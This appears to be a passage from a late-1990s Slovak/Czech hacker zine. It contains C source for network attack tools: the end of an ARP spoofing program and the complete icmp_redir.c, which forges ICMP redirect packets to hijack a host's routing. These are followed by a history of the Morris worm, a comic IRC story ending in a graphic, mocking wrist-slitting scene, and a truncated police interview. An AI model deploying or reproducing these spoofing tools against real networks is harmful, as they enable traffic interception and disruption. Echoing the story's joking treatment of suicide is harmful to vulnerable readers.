pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);

get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);

get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);

memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
        perror("sendto");
        exit(1);
        }
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr* in_addr,char* str){

struct hostent *hostp;

in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
        if( (hostp = gethostbyname(str)))
                bcopy(hostp->h_addr,in_addr,hostp->h_length);
        else {
                fprintf(stderr,"send_arp: unknown host %s\n",str);
                exit(1);
                }
        }
}

void get_hw_addr(char* buf,char* str){

int i;
char c,val;

for(i=0;i<ETH_HW_ADDR_LEN;i++){
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf = val << 4;
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf++ |= val;

        if(*str == ':')str++;
        }
}

/* icmp_redir.c

tento program posle ICMP host redirect packet s gateway IP specifikovanou uzivatelom. 
bolo to napisane a testovane na Linuxe 2.0.30 a da sa to vcelku lahko prepisat na vacsine 
unixov. 

yuri, volobuev@t1.chem.umn.edu

*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <syslog.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>

#define IPVERSION       4

struct raw_pkt {
        struct iphdr ip; /* This is Linux-style iphdr.
                            Use BSD-style struct ip if you want */
        struct icmphdr icmp;
        struct iphdr encl_iphdr;
        char encl_ip_data[8];
};

struct raw_pkt* pkt;

void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);

int main(int argc,char** argv){

struct sockaddr_in sa;
int sock,packet_len;
char usage[]={"icmp_redir: send out custom ICMP host redirect packet.  \
yuri volobuev'97\n\
usage: icmp_redir gw_host targ_host dst_host dummy_host\n"};
char on = 1;

if(argc != 5)die(usage);

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
        perror("socket");
        exit(1);
        }

sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;

packet_len = sizeof(struct raw_pkt);
pkt = calloc((size_t)1,(size_t)packet_len);

pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_ICMP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

pkt->icmp.type = ICMP_REDIRECT;
pkt->icmp.code = ICMP_REDIR_HOST;
pkt->icmp.checksum = 0;
pkt->icmp.un.gateway = get_ip_addr(argv[4]);

memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
pkt->encl_iphdr.protocol = IPPROTO_IP;
pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
pkt->encl_iphdr.check = 0;
pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
        sizeof(struct iphdr));

pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
        sizeof(struct raw_pkt)-sizeof(struct iphdr));

if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
        perror("setsockopt: IP_HDRINCL");
        exit(1);
        }

if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
        perror("sendto");
        exit(1);
        }
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

unsigned long int get_ip_addr(char* str){

struct hostent *hostp;
unsigned long int addr;

if( (addr = inet_addr(str)) == -1){
        if( (hostp = gethostbyname(str)))
                return *(unsigned long int*)(hostp->h_addr);
        else {
                fprintf(stderr,"unknown host %s\n",str);
                exit(1);
                }
        }
return addr;
}

unsigned short checksum(unsigned short* addr,char len){
register long sum = 0;

while(len > 1){
        sum += *addr++;
        len -= 2;
        }
if(len > 0) sum += *addr;
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

return ~sum;
}
preklad pajka & newroot
navrat na obsah
co ty na to ? board


morris internet worm - informacie

uvod

toto je cosi co som xcel napisat uz davnejsie, tak aby to bolo byvalo zhruba 10 rokov potom ako sa internetovy worm vypustil, ale ako obvykle, nejak mi to nevyslo.. co uz.. predmetom tohoto clanku je popisat co sa v ten den stalo a napisat aj cosi o samotnom worme (cerve), ako fungoval, a tiez aj cosi o historii celeho pripadu..

Prave v dnesnej dobe by sa zislo vysvetlit, co to je vlastne cerv (worm). Niektori ludia ho stale volaju virus, ale z viacerych dovodov to nie je pravda. hlavnym rozdielom medzi cervom a normalnym virusom spociva v jeho reprodukcii a rozsirovani. Ked normalny pocitacovy virus vstupi do systemu, zvycajne z infikovanej diskety alebo stiahnutim z internetu, infikuje systemovy subor a taktiez subor, ktory bude pouzity niekedy v blizkej buducnosti. Zmenou tohoto suboru je zvycajne rozsirenie prikazov na aktivaciu virusu.

Teraz sa pozrieme na dva priklady odlisnosti cerva. Prvym z nich je to, ze cerv nemusi byt rozsireny z diskety alebo infikovaneho suboru, ale z exploitu, ako napriklad statd alebo named. Ked virus prelomi systemu, spusti iny program, ktory prehlada internet za ucelom najdenia dalsich hostitelov, do ktorych by mohol vstupit. Nikdy nepotrebuje uzivatela, ktory by musel spustit program alebo ho poslat niekomu inemu, cize pracuje nezavislo. Niekto moze toto spravanie volat umela inteligencia, no len vo velmi jednoduchej forme. Vsetky pocitace, ktore su pripojene na internet sa mozu stat narozdiel od virusu potencionalymi cielmi cerva.

historia cervov

Ked bol Internet Worm v roku 1988 vypusteny, nebol nijakym sposobom urceny na to, na co jeho potomkovia. Nazov cerv pochadza z knihy The Shockwave Rider napisanej Johnom Brunnerom v roku 1975. Ak dej zhrnieme v skratke, jednalo sa o pribeh o totalitnej vlade, ktora kontrolovala svojich obcanov pomocou silnej pocitacovej siete. Jednej bojovnik za slobodu zaplavil tuto siet pomocou programu nazvaneho "tapeworm", cim prinutil vladu vypnut siet a tym znicil zdroj sily. Medzi touto knihou a rokom 1988 Morrisov Internet Worm, nebolo divom, ze cervy ziskavali zlu povest.Pravdou je to, ze prve cervy vtedy vznikali preto, aby ulahcili pouzivanie sieti.

1971

V roku 1971 Bob Thomas napisal prvy porgram, ktory bolo mozne pravoplatne nazyvat cervom. Bol to program pre Air Traffic Controlers, ktory ich mal upozornit, ked sa lietadlo presunie z jedneho pocitaca na druhy. Program nazvany Creeper sa len presuval z jendej obrazovky na druhu a zobrzoval spravu "I'm creeper! Catch me if you can!" ("Som creeper! Chyt ma ak mozes!"), no nikdy sa nereprodukoval. Po tomto napade niektori programatori skusali napad rozvinut na podporu dalsich uloh, ale v priebehu niekolkych mesiacov tento napad zanikol.

1980

Zaciatkom roku 1980, John Shock a Jon Hepps z Xeroxovko Research Centra v Palo Alto zacali experimentovat s cervymi programami. Toto bolo v podstate po prvy raz, kedy bol termin cerv aplikovany na tento druh kodu. Vyvinuli predtym 5 cervov, pricom kazdy sa pouzival na vykonavanie specifickej pomocnej ulohy v sieti. Niektore z nich boli velmi jednoduche ako napriklad Town Crier, ktory cestoval sietou a posielal oznamy, no niektore boli velmi komplexne, ako naprikla The Vampire, ktory bol cez den necinny, no v noci, ked bolo male vyuzitie procesora, pouzil jeho vykon na vykonavanie prace a za usvitu ulozil svoju pracu a cakal do dalsej noci. Tieto cervy boli velmi uzitocne az do jednej noci, kedy jeden z Xeroxackych cervov chybne vykonal funkciu a ked rano ludia zacali pracovat, nasli svoje pocitace spadnute. Tento problem este zhorsilo zistenie, ze ked ludia restartovali svoje pocitace, cerv pokracoval vo vykonavani chybnej funkcie a este viac poskodzoval ich system. Prave toto vyvolalo potrebu napisania vakciny, ktora by odstranila nebezpecnost cerva. Po tejto mensej katastrofe sa vyvoj cervov dostal z oci verejnosti, no to len do roku 1988, kedy ich Morrisov cerv vymrstil do popredia zaujmu. Morrisov cerv bol senzacnou spravou v mnohych novinach a bolo to prave pocas americkych volieb, no stal sa omnoho zaujimavejsim, a ludia okolo celeho sveta boli infikovani cervom. V roku 1989 bol vypusteny iny cerv, ktory bol velmi destruktivny, ale nebolo s nim zaznamenanych mnoho problemov. Nasledujuce riadky obsahuju popis toho, co cerv robil....

Pokusil sa ziskat systemove privilegia, ak uspel tak:
znemoznil odosielanie posty do systemovych uctov (root),
zmenil systemovy prikaz login tak, aby sa ZDALO ze ma user zmazane vsetky subory
zmenil uvodne systemove textove hlasenie

V pripade ze neuspel pri ziskavani rootovskych prav:
Odoslal svoju polohu (IP na ktorom sa nachadzal, spolu s indikaciou, ci system obsahuje systemovu dieru),
otravoval uzivatelov funkciou PHONE na to, aby im zazvonil,
zaznamenal uzivatelske hesla, ktore crackol (prazdne retazce, login = heslo, a maly anglicky wordlist)

Stale su tu medzi nami, na konci devetdesiatych rokov cervy, ale nikdy nesposobia mnoho tazkosti. Najposlednejsi, co som si zapamatal bol ADMwOrm. Prave preto, ze sa navonok neprejavoval, nikto nevel, ze vlastne vobec existuje. Vsetci sa ucime z chyb a pretoze chyby, ktore Morris urobil pozname, ludia su schopni vytvorit omnoho efektivnejsie cervy a omnoho tazsie identifikovantelne.

Predtym ako uvediem co Morrisov internetovy cerv spravil, mozno bude lahsie uviest co nespravil.
- Cerv nezmenil ani neznicil subory
- Cerv neulozil ani neposielal hesla ktore crackol
- Cerv neurobil specialne pokusy na ziskanie roota alebo superuzivatelskeho pristupu v systeme (a nevyuzil privilegia, hoci k tomu mal moznost).
- Cerv neulozil svoje kopie alebo kopie inych programov do pamate aby boli vykonane neskor. (Take programy su nazyvane timebombs - casovane bomby)
- Cerv neutocil na ine pocitace ako su systemy Sun 3 a pocitace VAX so systemom 4 BSD Unix (alebo ekvivalent).
- Cerv nezautocil na pocitace, ktore neboli pripojene na internet. (Inymi slovami, pocitace, ktore nemali internetove adresy neboli napadnute. Modemy neboli pocitane ako internetove pripojenia v tomto pripade.)
- Cerv sa neprenasal z pocitaca na pocitac prostrednictvom disku.
- Cerv nesposoboval fyzicke poskodenie pocitacovych systemov.

Ked sme toto vsetko vylucili, mozno sa cudujete co vlastne cerv robil. Nebol tu pre niekoho, kto chcel ziskat pristup k tisicom pocitacov alebo sposobit masovu destrukciu. Z dekompilovanej verzie cerva zistujeme, ze nerobil nic. Cerv bol vytvoreny jednoducho na to, aby sa rozsiril tak daleko ako sa len da a napadol co najviac pocitacov. Mozno to bol iba test, ktory Morris vypustil pred tym, ako dokoncil cerva, ktory by robil nieco hroznejsie. Ci je to pravda nebudeme pravdepodobne nikdy vediet. Predsa len, teoriu o teste potvrdzuje aj to, ze kod mal daleko od dokonalosti. Podla vsetkeho, v case ked bol cerv vypusteny obsahoval mnozstvo chyb, a programator taktiez velmi podcenil ucinky, ktore moze cerv mat. Jednou z chyb cerva bol fakt, ze ked uz raz napadol hostitela, mohol ho znovu napadat takze doslo k DoS utoku. Tento zdanlivo nezistitelny proces coskoro opakovane napadol tie iste pocitace a sposobil ich zrutenie. Toto je vytazok z knihy "Cesta cerva" od Donn Seely, ktory vysvetluje tento problem.

Vsetky tieto udalosti sa stali vecer 2. novembra 1988.

18:00 Asi o tomto case bol cerv vypusteny.
20:49 Cerv nakazil VAX 8600 na univerzite v Utahu (University of Utah - cs.utah.edu)
21:09 Cerv spustil prvy zo svojich utokov na ine pocitace z infikovaneho VAX-u.
21:21 Priemerna zataz (load average) na systeme dosiahla cislo 5. (Priemerna zataz je miera, ako namahavo pracuje pocitacovy system. O 21:30 priemerna zataz VAX-u bola obycajne 1. Akakolvek priemerna zataz vyssia ako 5 sposobuje oneskorenia v spracovani udajov.)
21:41 Priemerna zataz dosiahla hodnotu 7.
22:01 Priemerna zataz dosiahla hodnotu 16.
22:06 V tomto bode pocet cervov, ktore infikovali system, dosiahol pocet, ktory sposobil neschopnost spustat nove procesy. Ziadny pouzivatelia viac nemohli pouzivat system.
22:20 Systemovy administrator vyhubil cervov.
22:41 System je reinfikovany a priemerna zataz dosiahla hodnotu 27.
22:49 Systemovy administrator vykonal shutdown systemu. System je nasledne restartovany.
23:21 Nasledna reinfikacia sposobuje zvysenie hodnoty priemerneho zatazenia na 37.

V kratkosti, v rozmedzi menej ako 90 minut po infikovani bol system nepouzitelny a vznikli obrovske naklady na vyriesenie problemov sposobenych cervom. Podla United States General Accounting Office, stratou pristupu k internetu na infikovanych pocitacoch vznikla skoda v rozmedzi 100.000 az 10.000.000 dolarov.

postup

Toto je postup cerva po infikovani systemu:

1 - Najprv zmenil nazov svojho procesu na "sh", aby zamaskoval svoj skutocny nazov. Cize tvaril sa ako Bourne Shell, bezne shellovske prostredie pre UNIXove systemy.

2 - Tvorca cerva nechcel, aby ho bolo mozne lahko odchytit, pretoze keby niekto odchytil kopiu beziaceho cerva, mohol by byt schopny dekonstruovat kod a urcit ako cerva zastavit. Preto dalsou vecou ktoru cerv urobi je to, ze nastavi maximalnu velkokst vypisu z pamate na nula bytov (core size). "Vypis z pamate" umiestnuje kopiu procesu beziaceho na CPU do pamate na dalsiu kontrolu. Vypis z pamate nastava vzdy, ked sa program zruti alebo ked je k padu prinuteny. Ked cerv nastavi velkost vypisu z pamate na 0, hoci by program spadol alebo by bol k tomu prinuteny, nedostaneme kopiu beziaceho cerva.

3 - Cerv tiez cita aktualny cas a uklada ho pre pouzitie v generatore nahodnych cisel. To bude pouzite neskor.

4 - Dalej ked sa worm spustal, mohol sa spustit s flagom -p, co bola moznost pri ktorej sa zadalo ako parometer cislo, ktore bolo zjavne cislo procesu materskeho procesu.

5 - Zvysok argumentov prikazoveho riadku, ktore cerv vykonava, tvoria mena cielovych suborov, ktore potrebuje na dosiahnutie svojho plneho vykonu. Cerv sa snazi nacitat subory urcene tymito argumentami do ich adresneho priestoru. Ak je udany aj argument -p, potom cerv taktiez vymaze subory po ich nacitani a neskor vymaze aj svoju vlastnu kopiu na disku. Tiez sa pokusa vymazat subor /tmp/.dumb, hoci sa cerv na neho neodvolava; nie je jasne preco to robi. Ak sa mu nepodari nacitat ktorykolvek z cielovych suborov, cerv skonci. Inak pokracuje dalej.

6 - Cerv pre istotu kontroluje, ci ma aspon 1 cielovy subor vo svojom prikazovom riadku. Ak nie, skonci.

7 - Cerv si potom overi, ci uspesne nacital subor 11.c. Tento subor potom cerv neskor pouzije na nakazenie inych systemov. Ak tento subor nebol nacitany, cerv skonci.

8 - Cerv potom vymaze text pola argumentov, aby zahladil akekolvek informacie o svojej pritomnosti.

9 - Cerv dalej skenuje sietove rozhrania na hostitelskom pocitaci, aby ziskal oznacenia a adresy kazdeho rozhrania. Ak ziadne rozhranie nenajde, cerv skonci. Taktiez nacita sietovu masku, ktora mu umozni urcit, ake internetove adresy su pouzivane v lokalnej sieti.

10 - Cerv nasledne ukonci proces urceny prepinacom -p (pravdepodobne proces ktory vytvoril kopiu cerva), cim zmeni skupinu aktualneho procesu aby neznicil seba sameho.

V tomto bode je zavadzanie kompletne a cerv vola svoju centralnu rutinu.

11- S pouzitim randomneho cisla (generovaneho s pouzitim hodnoty aktualneho casu), Worm urci ci ma kontrolovat svoju pritomnost. Je jedna sanca zo sedmich ze nebude, v opacnom pripade cerv kontroluje svoju pritomnost.

12- Ked worm nekontroluje svoju pritomnost, pokracuje dalej. Na toto je sanca jedna ku siedmim, bolo to tam pridane aby sa dal worm tazko killnut. Ironiou je ze toto je prave dovod preco sa cerv tak rychlo rozsiril. Navyse iba prvy worm na danej masine sa kontroloval, vsetky nasledne kopie tento test uplne vynechavali.

13 - Je tu tiez procedura, ktora predpoklada poslanie jedneho bytu na adresu 128.32.137.13 (ernie.berkeley.edu), port 11357; to vsak nefunguje, pretoze program pred TCP prikazom sendto nepouzije UDP datagram. Takze program nikdy neotvori spojenie s vyssie uvedenym portom, a TCP prikaz zlyha s chybou "socket not connected". Tento nahodny byt sluzi, ako sa zda, na monitorovanie globalneho postupu cerva na sieti. Ak by bol cerv dalej prepracovany, mohli by sme povedat, ze hostitel bol backdoor-ovany (cerv vytvoril zadne dvierka). Mnohi ludia predpokladaju, ze finalna verzia cerva mala splnat aj tuto funkciu. Cerv vo vypustenej podobe vsak takuto funkciu nemal.

Potom cerv postupuje do primarneho cyklu programu. Tento nekonecky cyklus vola vsetky hlavne procedury v nasledujucom poradi:

14 - Cracksome, rutina ktora hlada hostitelov do ktorych sa moze cerv dostat;

15 - Cerv potom spusti other_sleep na 30 sekund;

16 - Cerv nasledne opat vykona Cracksome;

17 - Cerv sa rozdeli na dva procesy (potomkov) a ukonci rodicovsky proces. Potomok ma vsetky informacie, ktore mal aj rodic; naviac, potomok ma nove cislo procesu, a tym je ho aj tazsie najst. Cerv potom spusti opat proces infekcie;

18 - Potom cerv spusti other_sleep na 120 sekund;

19 - Pred tym, ako sa precykli opat na seba, cerv kontroluje ako dlho bezal. Ak je to dlhsie ako 12 hodin, vymaze niektore polozky zo zoznamu hostitelov.

Cerv opakuje tuto proceduru pokial nedostane prikaz o skonceni od ineho cerva alebo nie je zniceny.

morris

Asi ste zvedavy co sa stalo Morrisovi za jeho ciny. Bol usvedceny Federalnym prokuratorom. Porusil zakon 18 USC 1030 (A)(5)(a), the Computer Crime and Abuse Act z roku 1986. Bol uznany vinnym vo february 1990 americkym okresnym sudom v Syracuse, NY. V maji 1990 bol odsudeny - mimo Federalnych trestnych smernic - na 3 roky, 400 hodin verejnych prac a pokutu 10 050 dolarov plus vysetrovacie naklady. Jeho pravnici sa proti rozsudku odvolali na obvodnom odvolacom sude, ale rozsudok bol potvrdeny. Morrisovi pravnici sa potom odvolali na najvyssi sud, ale sud o tom odmietol diskutovat - ponechal rozsudok nedotknuty. Nejaku dobu Robert (neskutocne) pracoval ako programator pre CenterLine Software (vyrobcovia CodeCenter, ...). V poslednom case Robert pracoval na svojom titule PH.D. pod vedenim H. T. Kunga na Harvardskej univerzite. Taktiez spolupracuje so spolocnostou ViaWeb. Pokial viem, nikdy verejne nehovoril o uvedenej udalosti, tiez sa nepokusil pracovat v oblasti pocitacovej bezpecnosti.

Defiant, defiant(at)wintermute.linux.tc
preklad delord & devil

navrat na obsah
co ty na to ? board



koniec sveta

ti dvaja chalani boli z toho totalka nadrzani. ritky im od vzrusenia cvakali ked sa dozvedeli ze im do firmy zaviedli novucicku pevnu 128k linku na inet. jozko si pamatal ze take cosi mali na skole a spominal jak mu vsetko bleskurychlo behalo po obrazovke, napriklad ked telnetoval tak mu pismenka naskakovali do okienka okamzite a nie az po malinkej chvilke. ferko na druhej strane sice nikdy taku 128k linku nevidel, ale ked si predstavil stodvadsatosemtisic volakych bitov za sekundu pobehovat sem a tam, zakrutila sa mu hlava od vzrusenia. ked to uz technici od provajdera konecne vsetko pozapajali, nemohli sa dockat kedy vyrazia na ineternet. obaja utekali po schodoch dole do pivnice k ich pocitacom a nakopli stary dobry lynx.

samozrejme nic sa nestalo. ked jozko a ferko instalovali svoje masiny, boli jedine bytosti v celej kancelarskej budove s linuxom, takze si pridelili nejake IP adresy z rezervovanej casti IP adries. jezismaria velka veda - sak staci zmenit zopar cisielok a restartovat. ale na co maju zmenit tie cisla ? nikto im nepovedal ake by mali mat pridelene IP adresy, ale vedeli ze admin od provajdera pre nich registroval cely C-eckovy blok adries. tak obvolali zopar ludi z IT oddelenia a zistili si prvych 24 bitov svojich IP adries, ale nevedeli poslednych 8 bitov.

ked si trochu popingovali po lokalnej sieti zistili ze uz je pripojeny nejaky server na 542.613.531.1 (pozn.: autor tohoto pribehu si uvedomuje ze IP adresy su 0-255. dovod preco pouziva cisla > 255 je ze toto je fikcia. tak sa kua s tym zmierte). totalne boli z toho happy. samozrejme nevedeli ze volakto nabehol server. mysleli si ze je to ich gateway. kedze uz dopredu mali vyhutany DNS, nastavili si 10 a 11 a setko nabehli !

"popicovka, sme IN !!" zvrieskli svorne. "toto je cool!" skuseny jozko sa hned nalogoval na sunsite.unc.edu a stiahol si za par minut zdrojaky kernelu 2.0.37. mali furt verziu 2.0.0, ale xceli opacit tento najnovsi kernel. pobehoval po sunsite ked zrazu nasiel zdrojaky ircii. "uau, toto vyzera zaujimavo. skusme co to spravi."

jozko bleskurychlo stiahol, skompajloval a nainstaloval ircii. aj ked uz roky nemal pevnu linku na inet, nezabudol este ako sa maju citat dokumenty a manualy, stratene to umenie v dnesnej dobe. jozko civel na monitor a rozmyslal co tak asi spravi so svojim irc klientom. ferko, majuc znacne mozgovo-vykonove limitacie oproti jozkovi, okamzite nabehol lynx a searchoval www.zoznam.sk na "hole baby". "Vyser sa na to fero !" zareval mu do uska jozko, "skus tam radsej najst nieco o IRC, ok ?". nejakou zvlastnou zhodou okolnosti natrafil ferko na meno IRC servera irc.netlab.sk.

jozko pisal prikazy pomaly a opatrne, snazil sa pamatat si navod z dokumentacie. volakde cosi cital o irc, takze vedel ze potrebuje vymysliet nejaky nickname. nic ho nenapadlo, bude "jozko", tak napisal: irc jozko irc.netlab.sk

a cakal. a potom zase cakal. furt cakal. nakoniec sa unavil cakanim, ale kratko pred tym ako sa chystal udriet CTRL-Z mu server oznamil "Nickname in use, choose another". A sakra, pomysel si jozko. nevadi, dam si jozko1. "Nickname in use, choose another". Okej, jozko2. "Nickname in use, choose another" Kua kolko je na irc jozkov ? po par dalsich pokusoch mu to nakoniec predsa vyslo. "Welcome to server irc.netlab.sk, jozko52 !"

YEZ !! Cool. teraz si cital help fajly... myslel si, okej, napisem /list. **disconnected from server, attempting to reconnect.

Hmm... asi volaco pobabral... aha ! zistil prikaz na limitovanie poctu ludi na kanal. ferko mu kukal cez plece na monitor ked jozko skusil /list -min 3. ferkovi sa rozsirili zrenicky ked videl vsetky tie sexualne kanale. "hej jozo ! mozem aj ja pouzit IRC ??"

"jasna paka, telnetni sa na moju masinu a ides." jozko nevedel o ferkovej hormonalnej prietrzi mracien. jozko zbadal prebehnut cez obrazovku zaujimavy kanal #holubnik.. raz cital kdesi na hysteria.sk zevraj tam chodia hackeri. konecne stretne kolegov hackerov. to bude zabava.

/join #holubnik

***jozko52 joins #holubnik@
<doolitle> Ako mam hacknut redhat 5.0 ?
***doolitle was kicked by messiash_ (chod si precitat knizku ty tupec)
<otis> hehe... nemam rad takychto lamerov
<jozko52> caute kolegovia. som hacker. klanajte sa zemi po ktorej kracam, postavte mi bustu na kopci 
za mestom, ja mam pevnu 128k linku, ked sa o volaco pokusite, skopnem vas z vlny a znicim ! HAHAH !
<salo_> nexcem mobil
<otis> co je zas toto za idiota

*** quits: jozko52 (excess flood)
sakra co sa stalo ?? "fero, ty si stale pripojeny na irc ?"

"Ano... hehe".

***sexyboy joins #sex
<sexyboy> Caute, som chalan a mam 21!
"co to do prdele robis fero ?!"

"aaale nic ... "

***jozko52 joins #holubnik
<messiash> este ti nestacilo ?
<jozko52> chalani to vy ste spravili ?
* messiash nic nespravil.
<otis> na mna sa nedivaj
<pajka> hehe
<jozo52> co ste sakra spravili ?
<messiash> vobec nic
* messiash ma predsa na taku spinavu robotu naklonovanych botov
<jozko52> Co ? to si ako spravil s tymi vecickami..
<pajka> co mal spravit s akymi vecickami ?
<jozko52> no ze messiash mal naklonovanych botov a ze s tymi to spravil
* otis doporucuje aby si jozko52 skusil /describe prikaz a nebol lamer
no konecne sekaju poriadnu hackersku terminologiu. nemam sa ich co bat, som predsa na 128k lajne. oni maju pravdepodobne zasrate modemove linky ! mohol by som ich v pohode vyfloodovat pingom !
<jozko52> describe #holubnik uz to mam.
<messiash> co tak skusit dat pred to /
<jozko52> describe /#holubnik uz to mam.
<messiash> heh, nechaj to radsej tak
ten idiot messiash ! oklamal ma. teraz ho kill-nem, znicim, zabijem.
<jozko52> hej messiash, aku mas IP adresu
<messiash> no skus tri krat hadat lammah
<doolitle> skus /whois messiash
<messiash> drz hubu doolitle !
<messiash> hehe
Ahaa! pomocou /whois messiash som zistil jeho IP adresu. Teraz ho budem ping floodovat.. hehehe..
<jozko52> ja nic nerobim !!
<messiash> co akoze nic nerobis ?
<jozko52> preco si stale tu ?
<otis> preco tu ma kto byt ?
<jozko52> no predsa messiash ! ja som na neho spustil obrovsky pinf flood. mam pevnu linku !
<messiash> aha tak. mam zrusene pingy. lammer.
<jozko52> pingy sa nedaju zrusit !
<messiash> ja v pohode. neni to tazke.
<jozko52> okej ! teraz ste vsetci mrtvi !!
*** quits: messiash (irc.netlab.sk irc.stealth.net)
*** quits: otis (irc.netlab.sk irc.stealth.net)
*** quits: pajka (irc.netlab.sk irc.stealth.net)
*** quits: salo_ (irc.netlab.sk irc.stealth.net)
*** quits: doolitle (irc.netlab.sk irc.stealth.net)
<jozko52> haloooo ?
<jozko52> je tu niekto ??
Haha ! Vsetkych som killol ! HAHAHA !! Neviem sice ako, ale fungovalo to !

"Hej Jozo ? Vsetci zrazu zmizli z irc... co sa stalo ?" spytal sa ferko.

"Ehm.. uhh... ja som ich zabil."

"Ty si ich... co ?"

"Ano..."

*** joins: messiash
You were kicked from #holubnik by messiash (You're nuked!!!)
jozko civel na obrazovku a ani nemukol... co mu to messiash spravil ?? v tej chvili sa zrazu elektricky prud rychlo vypol a zase zapol... kedze obidve PCka boli na UPSke nic zle sa pocitacom nestalo, ale jozo mal strach.
ping ftp.microsoft.com
no response from ftp.microsoft.com
"Jozo, co sa preboha deje ??" spytal sa ferko.

"Nie som si isty.. Ale..." jozo nechcel povedat ferkovi co sa v skutocnosti stalo.

ping ftp.netscape.com
no response from ftp.netscape.com
"Uh.. fero.. vybehni hore po schodoch a dojdi mi povedat co si tam uvidel.."

"Preco ? Co je hore na poschodi ?"

"Sakra nepytaj sa a chod."

ferko vysiel hore po schodoch... ked sa dostal na poschodie vysiel von na ulicu. Vonku bolo pekne, slniecko svietilo, tak si povedal "Hm idem ja radsej domov, jozo sa dnes sprava velmi cudne.."

ked sa ferko nevracal zacal jozko chapat co sa naozaj asi stalo. fero zomrel z radiacnej davky pred tym ako sa stihol vratit naspat. poslal ho na istu smrt !

ping localhost
localhost is alive

ping www.aol.com
no response from www.aol.com

ping www.government.gov.sk
no response from www.government.gov.sk

ping www.whitehouse.gov
no response from www.whitehouse.gov
jozo cuvol o krok od pocitaca. na obrazovke stale visel posledny riadok z irc:
You were kicked from #holubnik by messiash (You're nuked!!!)
neveril tomu... ten messiash musel byt z ruska ! nasral operatora interkontinentalnych rakiet s jadrovou hlavicou v rusku a tak znicil cely svet !

"Ja som POSLEDNY CLOVEK NAZIVE !" jozo vrieskal. nemohol to zniest. trasucou sa rukou nahmatal v sufliku ziletku. jednym mocnym tahom si podrezal zily, ale nie napriec ale pozdlz ruky. (pozn. autora: fakt lamer, ze ? nechame ho zgegnut, co poviete.. bude to poucne) krv vytryskla prudom. hlava mu pomaly klesala na klavesnicu. zomrel v tichosti, len pred samotnym koncom sa mu z hrdla vydral uzkostlivy vzdych.

Niekde hore na poschodi, upratovacka vypla vysavac a zapojila router naspat do zasuvky.

navrat na obsah
co ty na to ? board



re: pro pana dastycha

> Od: Olga Machovcová [legatis(at)seznam.cz]
> Odesláno: 20. dubna 1999 9:35
> Komu: dastych [dastych(at)mvcr.cz]
> Predmet: Re: pro pana Dastycha

> Jak jste se ke své práci dostal?
Jednoduse. Uz na VS jsem zkousel pracovat s vypocetni techniou pomerne aktivne. A tak me tato zaliba po letech ptitahla tam, kde muzu spojit povolani a konicek.
>Co vás na ní pritahuje, cím je zajímavá?
Zajimava je tim, ze v ramci modernich technologii je mozno pracovat s jejich kriminalnim aspektem.
>Jaké vzdelání ci znalosti clovek musí mít, aby mohl být pocítacovým policistou?
Vzdelenai neni az tak rozhodujici. Ma VS jiste neni tim nejlepsim predpokladem k tomu co nyni delam. Spise musi clovek chtit delat praci, ktera neni az tak bezna.
>Klade se duraz spíse na pocítacové vedomosti nebo na znalosti zákona?
Oba druhy znalosti jsou potrebne. Bez znnalosti IT se tato prace delat neda stejne jako bez velmi dobre znalosti zakonu. A proto 6:4 ve prospech zakona.
>V MF DNES kdysi byl otisten clánek, který tvrdí, ze nemáte svuj sluzebni pocitac a musel jste si prinest vlastní z domova. Platí to jeste dnes?
Ne zplat buh uz je to asi jeden rok jinak. Mam svuj sluzebni pocitac.
>Je pro vás dulezitejsi chytání hackeru nebo lidí, kterí kopírují ilegální software?

